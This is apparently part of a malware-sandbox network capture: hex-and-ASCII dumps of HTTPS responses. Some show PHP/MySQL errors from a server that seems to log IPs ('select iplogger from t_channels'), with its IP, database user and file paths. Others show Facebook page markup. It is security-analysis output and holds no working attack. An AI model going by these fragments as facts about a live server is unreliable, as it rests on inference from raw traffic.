#039;wYWdigdSjn'\u002520limit\u0025200,1\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Csmall\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523ff0000\u002522\u00253E\u00255BTEP\u002520STOP\u00255D\u00253C\/font\u00253E\u00250A\u00
2022-10-08 09:34:05 UTC	61	IN	Data Raw: 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 77 59 57 64 69 67 64 53 6a 6e 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 Data Ascii: or%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='wYWdigdSjn'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0
2022-10-08 09:34:05 UTC	63	IN	Data Raw: 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 5c 75 30 30 32 35 32 30 65 78 70 65 63 74 73 5c 75 30 30 32 35 32 30 70 61 72 61 6d 65 74 65 72 5c 75 30 30 32 35 32 30 32 5c 75 30 30 32 35 32 30 74 6f 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 73 6f 75 72 63 65 2c 5c 75 30 30 32 35 32 30 62 6f 6f 6c 65 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e Data Ascii: 250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_query()\u002520expects\u002520parameter\u0025202\u002520to\u002520be\u002520resource,\u002520boolean\u002520given
2022-10-08 09:34:05 UTC	64	IN	Data Raw: 25 32 30 64 65 70 72 65 63 61 74 65 64 25 32 30 61 6e 64 25 32 30 77 69 6c 6c 25 32 30 62 65 25 32 30 72 65 6d 6f 76 65 64 25 32 30 69 6e 25 32 30 74 68 65 25 32 30 66 75 74 75 72 65 3a 25 32 30 75 73 65 25 32 30 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 Data Ascii: %20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWa
2022-10-08 09:34:05 UTC	66	IN	Data Raw: 6e 73 69 6f 6e 5c 75 30 30 32 35 32 30 69 73 5c 75 30 30 32 35 32 30 64 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 Data Ascii: nsion\u002520is\u002520deprecated\u002520and\u002520will\u002520be\u002520removed\u002520in\u002520the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u002520instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty
2022-10-08 09:34:05 UTC	67	IN	Data Raw: 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 5c 75 30 30 32 35 32 30 77 68 65 72 65 5c 75 30 30 32 35 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 77 59 57 64 69 67 64 53 6a 6e 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 6c 69 6d Data Ascii: ser\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253Eselect\u002520iplogger\u002520from\u002520t_channels\u002520where\u002520name='wYWdigdSjn'\u002520lim
2022-10-08 09:34:05 UTC	69	IN	Data Raw: 25 32 35 32 30 70 61 73 73 77 6f 72 64 25 33 41 25 32 35 32 30 59 45 53 25 32 39 25 32 35 32 30 69 6e 25 32 35 32 30 25 32 35 33 43 62 25 32 35 33 45 25 32 46 77 77 77 25 32 46 77 77 77 72 6f 6f 74 25 32 46 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 25 32 46 73 65 65 6d 6f 72 65 62 74 79 25 32 46 69 6e 63 6c 75 64 65 73 25 32 46 64 61 74 61 62 61 73 65 2e 70 68 70 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 32 35 32 30 6f 6e 25 32 35 32 30 6c 69 6e 65 25 32 35 32 30 25 32 35 33 43 62 25 32 35 33 45 34 37 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 72 25 32 35 32 30 25 32 46 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 72 25 32 35 32 30 25 32 46 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 25 32 35 33 45 57 61 72 6e 69 Data Ascii: %2520password%3A%2520YES%29%2520in%2520%253Cb%253E%2Fwww%2Fwwwroot%2F103.136.42.153%2Fseemorebty%2Fincludes%2Fdatabase.php%253C%2Fb%253E%2520on%2520line%2520%253Cb%253E47%253C%2Fb%253E%250A%253Cbr%2520%2F%253E%250A%253Cbr%2520%2F%253E%250A%253Cb%253EWarni
2022-10-08 09:34:05 UTC	70	IN	Data Raw: 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 2f 22 20 74 69 74 6c 65 3d 22 4c 6f 67 20 69 6e 74 6f 20 46 61 63 65 62 6f 6f 6b 22 3e 4c 6f 67 20 49 6e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 65 73 73 65 6e 67 65 72 2e 63 6f 6d 2f 22 20 74 69 74 6c 65 3d 22 43 68 65 63 6b 20 6f 75 74 20 4d 65 73 73 65 6e 67 65 72 2e 22 3e 4d 65 73 73 65 6e 67 65 72 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 6c 69 74 65 2f 22 20 74 69 74 6c 65 3d 22 46 61 63 65 62 6f 6f 6b 20 4c 69 74 65 20 66 6f 72 20 41 6e 64 72 6f 69 64 2e 22 3e 46 61 63 65 62 6f 6f 6b 20 4c 69 74 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 Data Ascii: a href="/login/" title="Log into Facebook">Log In</a></li><li><a href="https://messenger.com/" title="Check out Messenger.">Messenger</a></li><li><a href="/lite/" title="Facebook Lite for Android.">Facebook Lite</a></li><li><a href="https://www.facebook.c
2022-10-08 09:34:05 UTC	72	IN	Data Raw: 3e 3c 61 20 68 72 65 66 3d 22 2f 62 69 7a 2f 64 69 72 65 63 74 6f 72 79 2f 22 20 74 69 74 6c 65 3d 22 42 72 6f 77 73 65 20 6f 75 72 20 46 61 63 65 62 6f 6f 6b 20 53 65 72 76 69 63 65 73 20 64 69 72 65 63 74 6f 72 79 2e 22 3e 53 65 72 76 69 63 65 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 76 6f 74 69 6e 67 69 6e 66 6f 72 6d 61 74 69 6f 6e 63 65 6e 74 65 72 2f 3f 65 6e 74 72 79 5f 70 6f 69 6e 74 3d 63 32 6c 30 5a 51 0d 0a Data Ascii: ><a href="/biz/directory/" title="Browse our Facebook Services directory.">Services</a></li><li><a href="/votinginformationcenter/?entry_point=c2l0ZQ
2022-10-08 09:34:05 UTC	72	IN	Data Raw: 36 64 37 61 0d 0a 25 33 44 25 33 44 22 20 74 69 74 6c 65 3d 22 53 65 65 20 74 68 65 20 56 6f 74 69 6e 67 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 43 65 6e 74 65 72 2e 22 3e 56 6f 74 69 6e 67 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 43 65 6e 74 65 72 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 67 72 6f 75 70 73 2f 65 78 70 6c 6f 72 65 2f 22 20 74 69 74 6c 65 3d 22 45 78 70 6c 6f 72 65 20 6f 75 72 20 47 72 6f 75 70 73 2e 22 3e 47 72 6f 75 70 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 62 6f 75 74 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 22 20 61 63 63 65 73 73 6b 65 79 3d 22 38 22 20 74 69 74 6c 65 3d 22 52 65 61 64 20 6f 75 72 20 62 6c 6f 67 2c 20 64 69 73 63 6f 76 65 72 20 74 68 65 Data Ascii: 6d7a%3D%3D" title="See the Voting Information Center.">Voting Information Center</a></li><li><a href="/groups/explore/" title="Explore our Groups.">Groups</a></li><li><a href="https://about.facebook.com/" accesskey="8" title="Read our blog, discover the
2022-10-08 09:34:05 UTC	73	IN	Data Raw: 70 6c 6f 61 64 69 6e 67 20 26 61 6d 70 3b 20 4e 6f 6e 2d 55 73 65 72 73 20 4e 6f 74 69 63 65 2e 22 3e 43 6f 6e 74 61 63 74 20 55 70 6c 6f 61 64 69 6e 67 20 26 61 6d 70 3b 20 4e 6f 6e 2d 55 73 65 72 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 61 63 63 65 73 73 6b 65 79 3d 22 36 22 20 63 6c 61 73 73 3d 22 61 63 63 65 73 73 69 62 6c 65 5f 65 6c 65 6d 22 20 68 72 65 66 3d 22 2f 73 65 74 74 69 6e 67 73 22 20 74 69 74 6c 65 3d 22 56 69 65 77 20 61 6e 64 20 65 64 69 74 20 79 6f 75 72 20 46 61 63 65 62 6f 6f 6b 20 73 65 74 74 69 6e 67 73 2e 22 3e 53 65 74 74 69 6e 67 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 61 63 63 65 73 73 6b 65 79 3d 22 37 22 20 63 6c 61 73 73 3d 22 61 63 63 65 73 73 69 62 6c 65 5f 65 6c 65 6d 22 20 68 72 65 66 3d 22 2f 61 6c Data Ascii: ploading & Non-Users Notice.">Contact Uploading & Non-Users</a></li><li><a accesskey="6" class="accessible_elem" href="/settings" title="View and edit your Facebook settings.">Settings</a></li><li><a accesskey="7" class="accessible_elem" href="/al
2022-10-08 09:34:05 UTC	75	IN	Data Raw: 68 22 3a 22 41 54 34 76 64 36 6d 77 72 74 41 4a 6f 75 45 4a 74 46 77 22 7d 2c 22 31 33 39 39 32 31 38 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 41 54 36 67 75 43 57 31 65 79 49 6b 4f 56 31 45 47 6b 63 22 7d 2c 22 31 34 30 31 30 36 30 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 41 54 35 61 65 74 4e 35 47 62 33 72 65 49 58 56 58 75 6b 22 7d 2c 22 31 34 38 35 30 35 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 41 54 35 6c 6b 47 78 6d 68 66 72 56 4b 6c 63 6e 53 7a 41 22 7d 2c 22 31 35 39 36 30 36 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 37 4a 48 75 44 57 74 61 4f 71 52 75 42 55 4d 31 34 22 7d 2c 22 31 35 39 37 36 34 32 Data Ascii: h":"AT4vd6mwrtAJouEJtFw"},"1399218":{"result":true,"hash":"AT6guCW1eyIkOV1EGkc"},"1401060":{"result":true,"hash":"AT5aetN5Gb3reIXVXuk"},"1485055":{"result":true,"hash":"AT5lkGxmhfrVKlcnSzA"},"1596063":{"result":false,"hash":"AT7JHuDWtaOqRuBUM14"},"1597642
2022-10-08 09:34:05 UTC	76	IN	Data Raw: 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 55 5c 2f 72 5c 2f 64 39 5a 7a 66 4b 65 6c 79 51 4e 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 78 32 6c 72 47 41 57 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 6a 57 32 34 5c 2f 79 6c 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 73 74 6d 4b 66 32 6e 4d 78 73 47 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 76 47 74 32 6d 78 7a 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 Data Ascii: static.xx.fbcdn.net\/rsrc.php\/v3\/yU\/r\/d9ZzfKelyQN.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"x2lrGAW":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3ijW24\/yl\/l\/en_US\/stmKf2nMxsG.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"vGt2mxz":{"type":"js","src":"https
2022-10-08 09:34:05 UTC	78	IN	Data Raw: 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 50 77 4c 34 5c 2f 79 72 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 51 48 38 41 53 39 46 78 68 53 71 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 32 5c 2f 6d 61 51 5c 2f 51 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 7a 5c 2f 72 5c 2f 68 49 45 65 4f 51 39 4c 37 32 62 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 5c 2f 6f 35 59 76 4f 32 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 Data Ascii: \/static.xx.fbcdn.net\/rsrc.php\/v3iPwL4\/yr\/l\/en_US\/QH8AS9FxhSq.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"2\/maQ\/Q":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yz\/r\/hIEeOQ9L72b.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"\/o5YvO2":{"type":"js","src":"
2022-10-08 09:34:05 UTC	79	IN	Data Raw: 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 79 31 30 34 5c 2f 79 6c 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 56 41 76 7a 75 32 6f 38 64 69 36 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 78 4d 44 30 34 37 63 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 45 5f 67 34 5c 2f 79 59 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 35 68 4c 49 62 42 57 47 76 4d 38 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e Data Ascii: "type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iy104\/yl\/l\/en_US\/VAvzu2o8di6.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"xMD047c":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iE_g4\/yY\/l\/en_US\/5hLIbBWGvM8.js?_nc_x=Ij3Wp8lg5Kz","n
2022-10-08 09:34:05 UTC	80	IN	Data Raw: 5f 55 53 5c 2f 47 6b 39 49 45 2d 2d 31 62 61 64 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 64 48 73 4a 51 36 79 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 6d 5c 2f 72 5c 2f 54 31 6a 64 43 4d 6d 52 6f 6a 76 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6b 77 6a 56 4e 70 58 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 68 5c 2f 6c 5c 2f 30 Data Ascii: _US\/Gk9IE--1bad.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"dHsJQ6y":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/ym\/r\/T1jdCMmRojv.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"kwjVNpX":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yh\/l\/0
2022-10-08 09:34:05 UTC	82	IN	Data Raw: 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 55 69 58 34 5c 2f 79 79 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 52 77 41 46 6e 73 38 6d 31 71 75 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 70 49 73 35 72 6c 6d 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 52 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 64 6f 68 4c 41 43 6d 35 61 46 30 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 4a 41 46 7a 4d 4f 71 22 3a 7b 22 74 79 Data Ascii: https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iUiX4\/yy\/l\/en_US\/RwAFns8m1qu.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"pIs5rlm":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yR\/l\/0,cross\/dohLACm5aF0.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"JAFzMOq":{"ty
2022-10-08 09:34:05 UTC	83	IN	Data Raw: 4b 77 4a 6a 55 63 52 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 52 70 4d 75 38 48 64 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 54 51 79 34 5c 2f 79 43 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 41 77 44 4f 6e 66 74 57 56 64 57 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 64 33 30 54 44 65 36 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 5a 4e 6e 34 5c 2f Data Ascii: KwJjUcR.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"RpMu8Hd":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iTQy4\/yC\/l\/en_US\/AwDOnftWVdW.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"d30TDe6":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iZNn4\/
2022-10-08 09:34:05 UTC	85	IN	Data Raw: 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 6a 7a 51 34 5c 2f 79 6c 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 56 54 49 66 69 73 74 66 70 6e 67 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 55 2b 7a 77 34 69 66 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 74 44 58 34 5c 2f 79 70 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 37 31 53 59 4f 34 43 56 67 56 78 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e Data Ascii: "type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3ijzQ4\/yl\/l\/en_US\/VTIfistfpng.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"U+zw4if":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3itDX4\/yp\/l\/en_US\/71SYO4CVgVx.js?_nc_x=Ij3Wp8lg5Kz","n
2022-10-08 09:34:05 UTC	86	IN	Data Raw: 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 6c 5c 2f 72 5c 2f 4b 5f 47 32 6a 43 45 5a 71 51 37 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 31 62 6c 37 4b 35 4b 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 52 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 63 56 4f 6a 69 6a 6c 6c 50 45 55 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 39 37 58 39 45 72 36 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 Data Ascii: ttps:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yl\/r\/K_G2jCEZqQ7.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"1bl7K5K":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yR\/l\/0,cross\/cVOjijllPEU.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"97X9Er6":{"type":"js","src
